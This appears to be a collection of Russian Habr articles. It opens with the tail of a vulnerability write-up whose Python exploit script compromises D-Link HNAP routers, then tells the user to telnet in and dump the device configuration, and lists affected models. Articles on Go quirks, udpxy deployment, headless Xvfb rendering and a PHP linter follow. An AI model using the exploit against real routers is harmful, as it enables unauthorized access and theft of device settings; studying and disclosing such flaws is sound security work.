urllib2.urlopen(req)
raise Exception("Unexpected response")
except httplib.BadStatusLine:
print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
sys.exit(0)
except Exception:
print "Received an unexpected response from the server; exploit probably failed. :("
```
Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.
Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге команде [Centrifuge](http://tacnetsol.com/), у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:
* DAP-1522 revB
* DAP-1650 revB
* DIR-880L
* DIR-865L
* DIR-860L revA
* DIR-860L revB
* DIR-815 revB
* DIR-300 revB
* DIR-600 revB
* DIR-645
* TEW-751DR
* TEW-733GR
Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.
UPDATE: Похоже, в начале года этот же баг нашел [Samuel Huntly](http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051), но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.
|
https://habr.com/ru/post/256451/
| null |
ru
| null |
# Если вы подумываете начать писать на Go, то вот что вам следует знать
Ваш любимый питомец пишет на Go и получает больше вас, а вы ещё нет? Не теряйте времени… Такая мысль может родиться у читателя от обилия статей по Go. Некоторым даже компании предлагают переучиться на этот язык. И, если вы хоть раз задумывались освоить язык, то я хочу вас предостеречь. Вернее показать странные вещи, попробовать объяснить зачем они и потом вы уже сами сделаете вывод нужен ли вам Go.
### Для кого эта статья
Статья в первую очередь предназначена тем людям, для которых важна выразительность языка. И одновременно для тех, кто хочет пощупать Go.
Я сам Си++/Python разработчик и могу сказать, что это сочетание является один из оптимальнейших для освоения Go. И вот почему:
* Go очень часто используется для написания backend-сервисов и очень редко для всего остального. Существует ещё две популярные пары для этого же: Java/C# и Python/Ruby. Go, на мой взгляд, нацелен именно на то, чтобы забрать долю у пары Python/Ruby.
* Go наследует своё странное поведение именно из нюансов синтаксиса Си, неочевидно спрятанных в языке. Поскольку в Go есть чёткие моменты отторжения до такой степени, что порой хочется удалить компилятор Go и забыть, то понимание принципов Си и того, что Go в каком-то смысле является надмножеством Си, позволяет их существенно сгладить.
Что по-поводу пары Java/C#? Go ей ни разу не конкурент, по крайней мере пока он молод (речь про версию Go 1.11).
### Чего не будет в статье
* Мы не будем говорить о том, что Go плох, так как в нём нет фичи X, как в языке Y. У каждого языка свои правила игры, свои подходы и свои поклонники. Хотя кого я обманываю, конечно же об этом нам придётся поговорить.
* Мы не будем сравнивать напрямую интерпретируемые и компилируемые языки.
А что будет? Только конкретные случаи дискомфорта, которые доставляет язык в работе.
### Начало работы
Хорошим вводным по языку мануалом является короткая онлайн книга [Введение в программирование на Go](http://golang-book.ru/). Читая которую вы довольно быстро наткнётесь на странные особенности. Приведём для начала первую партию из них:
### Странности компилятора
**Поддерживаются только египетские скобки**Поддерживаются только [египетские скобки](https://habr.com/post/96978/), то есть следующий код не компилируется:
```
package main
func main() // Не компилируется
{
}
```
Авторы считают, что стиль программирования должен быть единообразным и компактным. Чтож хозяин — барин.
**Многострочные перечисления должны заканчиваться запятой**
```
a := []string{
"q" // Нет запятой, не компилируется
}
```
Видимо здесь боятся пулл-реквестов, где будет изменение в двух строках при добавлении одной строки в конец. На самом деле, это сделано специально для облегчения написания сторонних тулзов, парсящих код.
**Не использовал переменную? Не компилируется!**Нет, это не шутка.
```
package main
func main() {
a := []string{
"q",
}
// Не компилируется, переменная не использована
}
```
Здесь упор идёт на то, что почти всегда это ошибка, связанная или с опечаткой, или спешкой, или кривым рефакторингом. Как бы в конечном коде да, такого быть не должно. Но мы редко пишем сразу конечный код и периодически пробуем запускать промежуточные версии, в которых может быть некоторый задел на будущее. Поэтому данное поведение компилятора напрягает.
Правда со временем возникает множество ситуаций, когда это уберегло от ошибки. Но это всё-равно напрягает.
Неиспользуемые параметры приходится заглушать и это смотрится странно, хотя в питоне так тоже можно:
```
for _, value := range x {
total += value
}
```
Но это всё цветочки и даже просто вкусовщина разработчиков. Теперь перейдём к более тяжеловесным вещам.
### «Безопасный» язык
И тут надо не забыть сказать об очень важной вещи. Дело в том, что язык сделан именно таким, чтобы неопытным разработчики не имели возможности создавать плохие программы.
Вот цитата одного из создателей языка:
> «Ключевой момент здесь, что наши программисты (прим.пер.: гуглеры) не исследователи. Они, как правило, весьма молоды, идут к нам после учебы, возможно изучали Java, или C/C++, или Python. Они не в состоянии понять выдающийся язык, но в то же время мы хотим, чтобы они создавали хорошее ПО. Именно поэтому язык должен быть прост для понимания и изучения.»
>
>
>
> Спионерено отсюда: [Почему дизайн Go плох для умных программистов](https://habr.com/post/344356/).
>
>
Так значит вы говорите безопасный язык?
```
var x map[string]int
x["key"] = 10
```
и после запуска программы получаем:
```
panic: runtime error: assignment to entry in nil map
```
В этом невинном примере мы «забыли» выделить себе память и получили ошибку времени выполнения. Так а какой безопасности может идти речь, если вы меня не спасли от неверной ручной работы по выделению ресурсов?
>  Хабраюзер [tyderh](https://habr.com/users/tyderh/) замечает, что:
>
> Безопасность заключается в том, что при выполнении отлавливается ошибка, а не происходит неопределённое поведение, способное произвольным образом изменить ход выполнения программы. Таким образом, подобные ошибки программистов не способны привести к появлению уязвимостей.
>
>
Следующий пример:
```
var i32 int32 = 0
var i64 int64 = 0
if i64 == i32 {
}
```
Вызовет ошибку компиляции, что как бы нормально. Но поскольку в Go пока (пока!) нет шаблонов, то очень часто они эмулируются через интерфейсы, что может рано или поздно вылиться в такой код:
```
package main
import (
"fmt"
)
func eq(val1 interface{}, val2 interface{}) bool {
return val1 == val2
}
func main() {
var i32 int32 = 0
var i64 int64 = 0
var in int = 0
fmt.Println(eq(i32, i64))
fmt.Println(eq(i32, in))
fmt.Println(eq(in, i64))
}
```
Этот код уже компилируется и работает, но не так как ожидает программист. Все три сравнения выдадут false, ибо сначала сравнивается тип интерфейсов, а он разный. И если в данном случае ошибка явно бросается в глаза, в реальности она может быть сильно размыта.
[powerman](https://habr.com/users/powerman/) поделился ещё один примером ложных ожиданий:
```
func returnsError(t bool) error {
var p *MyError = nil
if t {
p = ErrBad
}
return p // Will always return a non-nil error.
}
err := returnsError(false)
if err != nil {
# Истина
}
```
Интерфейс с nil не равен просто nil, будьте осторожны. В FAQ языка [этот момент есть](https://golang.org/doc/faq#nil_error).
Ну и завершая про безопасность. Разыменование в языке убрано, а вот спецэффекты в зависимости от вида доступа от доступа (по указателю или по копии) остались. Поэтому следующий код:
```
package main
import "fmt"
type storage struct {
name string
}
var m map[string]storage
func main() {
m = make(map[string]storage)
m["pen"] = storage{name: "pen"}
if data, ok := m["pen"]; ok {
data.name = "-deleted-"
}
fmt.Println(m["pen"].name) // Output: pen
}
```
Выведет **pen**. А следующий:
```
package main
import "fmt"
type storage struct {
name string
}
var m map[string]*storage
func main() {
m = make(map[string]*storage)
m["pen"] = &storage{name: "pen"}
if data, ok := m["pen"]; ok {
data.name = "-deleted-"
}
fmt.Println(m["pen"].name) // Output: -deleted-
}
```
Выведет "-deleted-", но пожалуйста, не ругайте сильно программистов, когда они на эти грабли наступят, от этого в «безопасном» языке их не спасли.
**В чём же отличие в этих чёртовых кусках?**В одном примере:
```
m = make(map[string]storage)
```
а в другом:
```
m = make(map[string]*storage)
```
Ха, вы думали всё? Я тоже так думал, но неожиданно напоролся ещё на одни грабли:
**Наступить на грабли**
```
package main
import "fmt"
var globState string = "initial"
func getState() (string, bool) {
return "working", true
}
func ini() {
globState, ok := getState()
if !ok {
fmt.Println(globState)
}
}
func main() {
ini()
fmt.Println("Current state: ", globState)
}
```
Возвращает **initial** и это верно ибо оператор **:=** создаёт новые локальные переменные. А его мы вынуждены были использовать из-за переменной **ok**. Опять таки всё верно, но изначально строчка
> globState, ok := getState()
могла выглядеть как
> globState = getState()
а потом вы решили добавить второй параметр возврата, IDE подсказал вам, что теперь надо его ловить, и вам пришлось попутно заменить оператор и вдруг вы видите грабли перед лицом.
А это значит, что теперь нам надо у PVS просить статический анализатор для языка Go.
Краткий вывод: безопасность присутствует, но она не абсолютна от всего.
### «Единообразный» язык
Выше в разделе странности компилятора было указано, что при неверном форматировании кода, компилятор упадёт. Я предположил, что это было сделано для единообразия кода. Посмотрим насколько код единообразный.
Вот например, два способа выделить память:
```
make([]int, 50, 100)
new([100]int)[0:50]
```
Ну да, ну да, это просто фишка функции new, которую мало кто использует. Ладно будем считать это не критичным.
Вот например, два способа создать переменную:
```
var i int = 3
j := 6
```
Ладно, ладно, var используется реже и в основном для резервирования под именем определённого типа или для глобальных переменных неймспейса.
Ладно, с натяжкой будем считать Go единообразным языком.
### «Колбасный» код
А вот ещё частая проблема, конструкция вида:
```
result, err := function()
if err != nil {
// ...
}
```
Это типичный кусок кода на Go, назовём его условно колбасой. Среднестатистический код на Go состоит на половину из таких колбас. При этом первая колбаса сделана так **result, err := function()**, а все последующие так **result, err = function()**. И в этом не было бы проблемы, если бы код писался только один раз. Но код — штука живая и постоянно приходиться менять местами колбасы или утаскивать часть колбас в другое место и это вынуждает постоянно менять оператор **:=** на **=** и наоборот, что напрягает.
### «Компактный» язык
Когда читаешь книгу по Go, не перестаёшь удивляться компактности, кажется что все конструкции продуманы так, чтобы код занимал как можно меньше места как по высоте, так и по ширине. Эта иллюзия быстро рушится на второй день программирования.
И в первую очередь из-за «колбас», о которых я упоминал чуть выше. Сейчас ноябрь 2018 и все Go программисты ожидают версию 2.0, потому что в нём будет [новая обработка ошибок](https://habr.com/post/422049/), которая наконец покончит с колбасами в таком количестве. Рекомендую статью по ссылке выше, в ней суть проблемы «колбасного» кода разъяснена наглядно.
Но новая обработка ошибок не устранит все проблемы компактности. По прежнему будет не хватать конструкций **in** и **not in**. На текущий момент проверка нахождения в map значения выглядит так:
```
if _, ok := elements["Un"]; ok {
}
```
И единственное на что можно надеяться — на то, что после компиляции это будет скукожено до просто проверки значения, без инициализации попутных переменных.
### Молодой язык и бедный синтаксис
К Go существует очень много написанного кода. И есть просто потрясающие вещи. Но не редко вы выбираете между очень плохой библиотекой и просто приемлемой. Например SQL JOIN в одном из лучших ORM в GO (gorm) выглядит так:
```
db.Table("users").Select("users.name, emails.email").Joins("left join emails on emails.user_id = users.id").Scan(&results)
```
А в другом ORM вот так:
```
query := models.DB.LeftJoin("roles", "roles.id=user_roles.role_id").
LeftJoin("users u", "u.id=user_roles.user_id").
Where(`roles.name like ?`, name).Paginate(page, perpage)
```
Что ставит пока под сомнение вообще необходимость использовать ORM ибо нормальной поддержки защиты от переименования полей не везде просто нет. И ввиду компилируемой природы языка может и не появиться.
А вот один из лучших образцов компактного роутинга в вебе:
```
a.GET("/users/{name}", func (c buffalo.Context) error {
return c.Render(200, r.String(c.Param("name")))
})
```
Не то чтобы здесь было что-то плохое, но в динамических языках код обычно выглядит более выразительным.
### Спорные недостатки
#### Публичные функции
Угадайте, как сделать функцию публичной для использования в других пакетах? Здесь есть два варианта: либо вы знали или никогда бы не угадали. Ответ: зарезервированного слова нет, нужно просто назвать функцию с большой буквы. В это вляпываешься ровно один раз и потом привыкаешь. Но как питонист помню про правило «явное лучше неявного» и предпочёл бы отдельное зарезервированное слово (хотя если вспомнить про двойное подчёркивание в питоне, то чья бы корова мычала).
#### Многоэтажность
Если вам нужен словарь объектов, то вы напишите что-то такое:
```
elements := map[string]map[string]string{
"H": map[string]string{
"name": "Hydrogen",
"state": "gas",
},
}
```
Пугающая конструкция, не правда ли? Глазу хочется каких-нибудь скобочек, чтобы не спотыкаться. К счастью они возможны:
```
elements := map[string](map[string]string){
}
```
Но это всё, что позволит вам форматтер go fmt, который почти наверняка будет использоваться в вашем проекте для переформатирования кода при сохранении. Все остальные вспомогательные пробелы будут выпилены.
#### Атомарные структуры
Их нет. Для синхронизации надо явно использовать мьютексы и каналы. Но «безопасный язык» не будем вам пытаться мешать писать одновременно из разных потоков в стандартные структуры и получать падение программы.
[helgihabr](https://habr.com/users/helgihabr/) любезно напомнил, что в 1.9 появился [sync.Map](https://habr.com/post/338718/).
#### Тестирование
Во всех не очень безопасных языках безопасность хорошо реализуется через тестирование с хорошим покрытием. В Go с этим почти всё в порядке, кроме необходимости писать колбасы в тестах:
```
if result != 1 {
t.Fatalf("result is not %v", 1)
}
```
Понимая ущербность данного подхода, мы сразу нашли в сети библиотеку, реализующую assert и доработали её до вменяемого состояния. Можно брать и использовать: <https://github.com/vizor-games/golang-unittest>.
Теперь тесты выглядят так:
```
assert.NotEqual(t, result, 1, "invalid result")
```
#### Две конвертации типов
В языке сущность интерфейса имеет особый статус. Они в том числе часто используются, чтобы заткнуть «бедность» синтаксиса языка. Выше уже был пример с реализацией шаблонов через интерфейсы и неявным вредным спецэффектом, порождённым этим случаем. Вот ещё один пример из этой же серии.
Для преобразования типов можно использовать обычную конструкцию в Си-стиле:
```
string([]byte{'a'})
```
Но не пытайтесь применить её к интерфейсам, ибо для них синтаксис другой:
```
y.(io.Reader)
```
И это довольно долго будет вас путать. Я для себя нашёл следующее правило для запоминания.
Преобразование слева называется [conversion](https://golang.org/ref/spec#Conversions), его корректность проверяется при компиляции и в теории для констант может производится самим компилятором. Такое преобразование аналогично static\_cast из Си++.
Преобразование справа называется [type assertion](https://golang.org/ref/spec#Type_assertions) и выполняется при выполнении программы. Аналог dynamic\_cast в Си++.
### Исправленные недостатки
#### Пакетный менеджер
vgo [одобрен](https://github.com/golang/go/wiki/vgo), поддерживается [JetBrains GoLand 2018.2](https://habr.com/company/JetBrains/blog/419061/), для остальных IDE как временное решение подойдёт команда:
```
vgo mod -vendor
```
Да, это выглядит как небольшой костыль сбоку, но это отлично работает и просто реализует ваши ожидания по версионированию. Возможно в go2 этот подход будет единственным и нативным.
В версии [1.11](https://golang.org/cmd/go/#hdr-Modules__module_versions__and_more) эта штука уже встроена в сам язык. Так что верной дорогой идут товарищи.
### Достоинства
Прочитав статью может возникнуть предположении, что над нами стоит надсмотрщик с плёткой и заставляет писать на Go, исключительно ради наших страданий. Но это не так, в языке есть фишки существенно перевешивающие все вышеописанные недостатки.
* **Единый бинарник** — скорее всего весь ваш проект скомпилится в единый бинарник, что очень удобно для упаковки в минималистичный контейнер и отправки на деплой.
* **Нативная сборка** — скорее команда go build в корне вашего проекта соберёт этот самый единый бинарник. И вам не потребуется возиться с autotools/Makefile. Это особенно оценят те, кто регулярно возится с ошибками Си компиляторов. Отсутствие заголовочных файлов — дополнительное преимущество, которое ценишь каждый день.
* **Многопоточность из коробки** — в языке не просто сделать многопоточность, а очень просто. Настолько просто, что очень часто просто импорт библиотеки в проект и использование какого-либо её примера уже может содержать явно или неявно в себе работу с многопоточностью и при этом в основном проекте ничего от этого не ломается.
* **Простой язык** — обратная сторона бедности синтаксиса — возможность освоить язык за 1 день. Даже не за 1 день, а за 1 присест.
* **Быстрый язык** — в виду компилируемой природы и ограниченности синтаксиса вам будет сложно выжирать много памяти и процессорного времени в ваших программах.
* **Строгая типизация** — очень приятно, когда IDE в любой момент знает тип переменной и переход по коду работает как часы. Это не преимущество именно Go, но в нём оно тоже есть.
* **Защита от расширения структур** — ООП в Go эмулируется структурами и методами для структур, но правило такое, что это должно лежать в одном файле. И это очень хорошо в плане анализа чужого кода, в Ruby есть паттерн подмешивания и иногда чёрт ногу сломит.
* **Отложенная деинициализация**. Лучше всего иллюстрируется примером:
```
package main
import (
"fmt"
"os"
"log"
)
func main() {
file, err := os.Open("file.txt")
if err != nil {
log.Fatal(err)
}
defer file.Close()
b, err := ioutil.ReadAll(file)
fmt.Print(b)
}
```
Благодаря
> defer file.Close()
мы сразу сообщаем рантайму, что, в независимости от того каким и где будет выход из функции, в конце надо выполнить определённый код. Это сразу частично решает проблему с отсутствием деструкторов и почти полностью решает проблему отсутствующих контекстов (например питоновский with).
### Почему так получилось
Go выглядит как надмножество Си. Об этом говорит очень многое: и похожесть синтаксиса и понимание того, как это может быть легко преобразовано в Си код. Конечно же горутины, сборка мусора и интерфейсы (а вместе с ним RTTI) нетипичны для Си, но весь остальной код легко конвертируется практически регулярками.
И вот эта природа, на мой взгляд, и диктует почти все приведённые выше странности.
### Резюме
* Go отлично подходит для быстрого написания экономных и быстрых микросервисов, при этом для этой работы годятся любые опытные разработчики с других языков. Именно в этом вопросе ему мало равных.
* Go молод. Как верно было отмечено кем-то из комментаторов: «Идея на 5, реализация на 3». Да, как универсальный язык — на три, а чисто для микросервисов на 4. Плюс язык развивается, в нём вполне можно исправить половину описанных недостатков и он станет существенно лучше.
* Первый месяц работы вы будете бороться с компилятором. Потом поймёте его характер и борьба пройдёт. Но этот месяц придётся пережить. Половина хейтеров языка месяц не протянули. Это надо чётко понимать.
* Любителям STL надо сказать, что пока придётся собирать с миру по нитке. Ибо пока [доступных контейнера три](https://golang.org/pkg/container/), не считая встроенных map и array. Остальное придётся эмулировать или искать в сторонних библиотеках.
### Библиотеки для тестов
* [github.com/vizor-games/golang-unittest](https://github.com/vizor-games/golang-unittest) — нормальные человеческие assert и check для тестов, похоже на питон, вдохновлялось им же. С нормальным выводом строчек, где именно тест повалился.
* [godoc.org/github.com/powerman/check](https://godoc.org/github.com/powerman/check) — библиотека догружающая стандартный тестовый интерфейс, привнося в неё полезные методы типа: Equal, Less,…. Поделился [powerman](https://habr.com/users/powerman/).
* [github.com/stretchr/testify](https://github.com/stretchr/testify) — ещё одна хорошая библиотека для тестов. Поделился [esata](https://habr.com/users/esata/).
* [github.com/onsi/ginkgo](https://github.com/onsi/ginkgo) — ещё одна хорошая библиотека для тестов. Поделился [tyderh](https://habr.com/users/tyderh/).
* [github.com/smartystreets/goconvey](https://github.com/smartystreets/goconvey) — BDD подход к тестированию, выглядит очень непривычно, но может кому пригодится. Поделился [negasus](https://habr.com/users/negasus/).
### Что почитать
* [Введение в программирование на Go](http://golang-book.ru). Хороший on-line туториал.
* [Теория современного Go](https://peter.bourgon.org/blog/2017/06/09/theory-of-modern-go.html) (en). Как не надо делать глобальные объекты.
* Хабр: [Обработка ошибок в Go 2](https://habr.com/post/422049/)
* Хабр: [Такой исключительный Go](https://habr.com/post/425145/). Как с помощью кодогенерации доделать для себя Go.
* Хабр: [Разбираемся с новым sync.Map в Go 1.9](https://habr.com/post/338718/).
|
https://habr.com/ru/post/421259/
| null |
ru
| null |
# Udpxy на сервере провайдера
Замечательная утилита [udpxy](http://www.udpxy.com/) имеет две особенности, которые требуется учитывать при её использовании в операторской сети.
Во-первых, всем клиентам доступны через Веб-браузер команды «status» и «reset».
Во-вторых, примерно при 40 одновременных потоках udpxy начинает притормаживать, хотя процессор и сетевой интерфейс практически не заняты.
### Небольшое отступление
Как правило, udpxy отсутствует в виде двоичного пакета под нужный дистрибутив, поэтому его требуется собирать из исходных текстов.
Засорение рабочей системы необходимыми для сборки пакетами (компиляторами, библиотеками, утилитами) является плохой практикой — увеличивается размер обновлений, усложняются зависимости и т.д.
С другой стороны, организация отдельной сборочной фермы усложняет сборку, т.к. требует синхронизации версий рабочего и сборочного ПО, явного указания некоторых параметров вместо автоматического определения, переноса собранных пакетов и т.д.
Компромиссом для разовой сборки является создание временной сборочной среды («песочницы» aka «sandbox») на рабочей системе в отдельном каталоге.
В Debian Squeeze для этого достаточно следующих команд:
```
apt-get install debootstrap
mkdir /home/builder
debootstrap squeeze /home/builder http://mirror.yandex.ru/debian
chroot /home/builder apt-get update
chroot /home/builder apt-get -y dist-upgrade
chroot /home/builder apt-get -y install gcc make
```
Для сборки udpxy нужны только gcc и make, для более объёмных программ требуемых пакетов может быть больше.
### Сборка и установка
Скачиваем архив с исходными текстами и разворачиваем в песочницу:
```
ver="1.0.23-0"
wget http://downloads.sourceforge.net/project/udpxy/udpxy/Chipmunk-1.0/udpxy.${ver}-prod.tar.gz'
tar xzf ~/udpxy.${ver}-prod.tar.gz -C /home/builder/home/
```
Изменяем названия управляющих команд на очень секретные:
```
cd /home/builder/home/udpxy-${ver}
sed -i.orig -e 's!/restart!/SECRET_restart!' -e 's!/status!/SECRET_status!' statpg.h
sed -i.orig -e 's!"status"!"SECRET_status"!' -e 's!"restart"!"SECRET_restart"!' -e 's!"rtp"!"SECRET_rtp"!' extrn.c
```
Заходим в песочницу и компилируем:
```
chroot /home/builder make -C /home/udpxy-${ver}
```
Создаём псевдопользователя для запуска udpxy и каталог для программы и утилит, переносим в него программу:
```
useradd --system --shell /bin/true --create-home udpxy
install -o udpxy -g udpxy -m 700 -p /home/builder/home/udpxy-${ver}/udpxy /home/udpxy/
```
### Запуск
Чтобы увеличить рабочий лимит одновременных подключений, будем запускать несколько экземпляров udpxy на разных портах и раскидывать по ним запросы, приходящие на стандартный порт 4022, в зависимости от IP-адреса клиента с помощью iptables=>nat=>PREROUTING=>REDIRECT:
```
#!/bin/bash
# /home/udpxy/start
MAINPORT="4022"
SUBPORTS="16"
SUBMASK="40%02d"
LOGDIR="/var/log/udpxy"
UDPXY="/home/udpxy/udpxy"
USER="udpxy"
mkdir -p $LOGDIR || { echo "ERROR: cannot create $LOGDIR, aborted."; exit 1; }
id "$USER" > /dev/null 2>&1 || { echo "ERROR: user $USER does not exists, aborted."; exit 1; }
# Run instances and create redirects...
for ((a = 0; a < "$SUBPORTS"; a++)); do
p=`printf "$SUBMASK" "$a"`
iptables -t nat -I PREROUTING -s 0.0.0.0/0.0.0.$a -p tcp -m tcp --dport "$MAINPORT" \
-j REDIRECT --to-ports "$p"
while : ; do
date +"%Y.%m.%d %H:%M:%S -- Started $p"
sudo -u "$USER" "$UDPXY" -T -p $p -c32
date +"%Y.%m.%d %H:%M:%S -- Finished $p"
sleep 30
done >> "$LOGDIR/$p.log" 2>&1 &
done
```
Пояснения: во-первых, сценарий требует bash, т.к. sh не понимает цикл со счётчиком. Во-вторых, использовать «iptables -A» вместо "-I" нельзя, т.к. правило с "-s 0.0.0.0/0.0.0.0" окажется первым и заберёт себе все подключения. В-третьих, сценарий продолжает работать в фоновом режиме и автоматически перезапускает завершившиеся (упавшие?) экземпляры udpxy.
По умолчанию udpxy выводит в log-файлы /var/log/udpxy/\*.log минимум информации. Если нужно сделать вывод более подробным, добавьте в строку запуска «sudo -u ...» ключи "-v" и "-S".
Дополнительные ручки, за которые имеет смысл покрутить: "-B 1Mb" для увеличения входного буфера (в байтах), "-R 10" — одновременного количества сообщений (в штуках) и "-H 5" — максимального срока буферизации данных (в секундах).
Добавьте вызов **/home/udpxy/start** в **/etc/rc.local** (написание сценариев для **/etc/init.d** отложим на другой раз).
Сценарий завершения должен выглядеть примерно так:
```
#!/bin/bash
# /home/udpxy/stop
# Remove firewall rules...
iptables-save \
| grep -- "-p tcp -m tcp --dport 4022 -j REDIRECT --to-ports" \
| sed 's/^-A/iptables -t nat -D/' \
| sh -
# Kill program instances...
pkill -f "/home/udpxy/udpxy"
sleep 5
# Kill wrapper scripts...
pkill -f "/home/udpxy/start"
```
### Просмотр состояния
Смотреть общий список подключений ко всем экземплярам udpxy можно следующим образом:
```
#!/usr/bin/perl
# /var/www/html/SECRET-udpxy-status.cgi
use strict;
use warnings;
my $port0 = 4000;
my $ports = 16;
my $status_cmd = 'SECRET_status';
my $title = "Udpxy summary status";
my $hostname;
($hostname = $ENV{HTTP_HOST}) =~ s/:\d+$//;
print "Content-type: text/html\n\n" if $ENV{REMOTE_ADDR}; # ..cgi-bin mode?
print << "__HEAD__";
$title
$title
======
| Port | Process ID | Source | Destination | Throughput |
| --- | --- | --- | --- | --- |
\_\_HEAD\_\_
my %cnt;
my $total = 0;
my $style\_copied;
my $style\_passed;
for (my $p = $port0; $p < $port0 + $ports; $p++) {
open F, "wget -q -O - http://localhost:$p/$status\_cmd |";
while() {
if ($style\_copied and /<\/style>/) {
$style\_copied = 0; # ..style finished
$style\_passed = 1;
print;
} elsif (/
```
|
https://habr.com/ru/post/152397/
| null |
ru
| null |
# Linux=Terminal?
 Несколько десятилетий прошло с момента релиза первого рабочего стола пользователя, где с помощью манипулятора-мыши появилась возможность выбирать различные части интерфейса, взаимодействовать с ними, вводить данные. Это был прорыв, определивший, как будет выглядеть пользовательское взаимодействие с современной операционной системой еще долгие годы. Сегодня без этой фичи сложно представить пользовательскую операционную систему. Визуальный рабочий стол стал для большинства пользователей основным способом знакомства с компьютерными технологиями и операционной системой.
Для более продвинутого администрирования системы пользователю так или иначе придется сделать шаг назад и обратиться к специализированному и менее визуализированному интерфейсу - консоли. В разных операционных системах этот интерфейс может называться по разному. В текущей статье обратимся к Terminal-у в ОС Linux. Операционная система Linux до сегодняшнего дня сохраняет особое отношение к Terminal-у, без него не получится установить приложение, настроить часы, осуществить поиск машин в сети и так далее. Начинающему пользователю или администратору может быть сложно ориентироваться в мире Terminal без окон, поэтому цель данной статьи - рассказать, как можно заполучить от операционной системы хотя бы примитивный рабочий стол и даже запустить приложение, которое требует наличия окон, в терминале.
### Тестовое окружение
Для демонстрации настроек и работы с системами операционной системы Linux будем использовать Ubuntu 20.04 Server версию. Необходимо установить базовую систему и создать обычного пользователя. В результате должно получиться нечто похожее на снимок ниже:
 Для подготовки лабораторной операционной системы также потребуется установить дополнительное ПО на сервер. Это будет `Xvfb` и `Xpra` (их описание будет в статье далее). Установить их можно соответствующими командами:
1. *apt-get update && apt-get -y install xvfb imagemagick* (последний нужен для корректного преобразования памяти в картинку)
2. *apt-get update && apt-get -y install xpra*
Проверка и отчасти демонстрация результатов может производиться на любом хосте в сети с сервером. Для тестов в качестве второй машины использовалась операционная система Kali Linux, включенная в локальную сеть вместе с Ubuntu сервером.
### Создаем рабочий стол
Инструменты `xpra` и `xvfb` были созданы в первую очередь для тестирования ОС и её окружения. Однако, с появлением целого сообщества этих инструментов, их использование значительно расширилось.
`xvfb` - приложение, которое создано для работы с графикой на тех системах, где даже на уровне железа может и не быть видеокарты или другого устройства вывода. Все операции инструмент проводит в оперативной памяти. Применение инструмента нашлось в рендеринге, фоновых операциях с графикой. Стоит заметить, что это ПО даёт только лишь возможность взглянуть на экран, но не имеет инструментов для взаимодействия с его интерфейсами. Поэтому, чтобы картинка менялась, придется немного покодить для автоматизации. К примеру, для браузера можно использовать скрипты для Selenium.
Продемонстрируем, как можно выстроить работу с помощью `xvfb`. Главной единицей взаимодействия для данной тулзы является устройство Screen или просто экран. По умолчанию существует только один экран с разрешением 1280x1024x8 (ШиринаХВысотаХГлубина). Выполним следующие команды на сервере:
*1. Установим X11 приложения -* `apt install x11-apps`*. Нам понадобится калькулятор для демонстрации интерфейса.*
*2. Откроем экран для отрисовки калькулятора:*
```
DISPLAY=:1;Xvfb $DISPLAY -screeen 0 1024x600x24 -fbdir /tmp/ >> /tmp/Xvfb.out 2>&1 &
```
*3. Запустим калькулятор на созданном экране -* `DISPLAY=$DISPLAY /usr/bin/xcalc &`
4. *Создадим из экрана картинку, которую можно будет просмотреть на клиенте -*
```
DISPLAY=:1 import -window root /tmp/screenshot.png
```
Выполним команду на клиенте, чтобы увидеть результат:
```
scp [email protected]:/tmp/screenshot.png /home/kali/Desktop/; display /home/kali/Desktop/screenshot.png
```
Выглядит не слишком современно, но это уже больше, чем просто консоль. На снимке слева - калькулятор, который был захвачен из `xvfb` буфера, а справа - оригинальный калькулятор, который был запущен в клиентской системе. Вообщем-то ничего важного при визуализации потеряно не было, как будто просто черно-белый экран. Проверим, что можно сделать с помощью других инструментов.
 `Xpra` в противовес инструменту `xvfb` имеет полный функционал по взаимодействию с системой. Можно сказать, это своеобразный аналог VNC, который может использовать в качестве транспорта протокол ssh, tcp и несколько других, достаточно лишь настроить на целевой системе сервер для приема соединения, а на клиенте использовать верный протокол для взаимодействия. Оставим эту настройку для читателя (тестирование на виртуальных машинах не рекомендуется, так как у ПО есть проблемы с поддержкой, виртуальные машины просто зависают). А в качестве второго эксперимента проведем печать интерфейса приложения прямо из запущенного контейнера Docker.
Для проведения этого теста нам понадобится установить Docker для операционной системы Ubuntu. Инструкции к его установке можно найти вот [здесь](https://docs.docker.com/engine/install/ubuntu/). В инструкции достаточно подробное описание, потому перейдем сразу к этапу создания Image, который будет использоваться для контейнера целевой машины. Для создания контейнера нам нужно сделать файл “Dockerfile” и наполнить его следующими данными:
```
FROM ubuntu:16.04
RUN apt-get -y update && apt-get -y install imagemagick xvfb x11-apps libgtk-3-0libdbus-glib-1-2
CMD ["bash"]
```
Соберем `Image`
```
docker build .
```
Запустим контейнер:
```
docker run bb38bc6bb078 bash
```
Для завершения эксперимента нужно снова запустить команды для создания файла png и скопировать его на клиентскую машину. В результате получаем такой же скриншот:
### Вместо заключения
В очередной раз операционная система Linux доказала свою многогранность и возможность применять различные неожиданные решения. Новичкам нужно только найти правильный набор ПО, и с ним можно будет решить любую задачу - даже просмотр пользовательского интерфейса на сервере, в котором нет видеокарты.
---
***Данная статья была написана в преддверии старта курса*** [***Administrator Linux. Basic***](https://otus.pw/Raii/) ***от OTUS. Узнать подробнее о курсе и посетить бесплатный урок можно по*** [***этой ссылке***](https://otus.pw/Raii/)***.***
|
https://habr.com/ru/post/537258/
| null |
ru
| null |
# readable — еще один линтер для PHP
Хочу представить линтер для PHP [readable](https://github.com/officient/readable). Сейчас в нем 16 правил, которые должны улучшить читабельность кода. К основным преимуществам можно отнести:
* **скорость** — меньше секунды на 1000 файлов
* **настройка baseline** — можно не исправлять все ошибки в проекте сразу, а создать конфигурацию с текущими ошибками. И игнорировать их, но реагировать на новые.
* **правила писать проще** чем в аналогах (субъективно)
*Важные два дисклаймера*:
1. Я основной контрибьютор, поэтому могу быть субъективным. Изначально, readable написан для бельгийской компании [officient](https://en.officient.io/). Они уже некоторое время его используют у себя внутри, и решили сделать readable открытым проектом.
2. Он написан на JS.
Установка и запуск
------------------
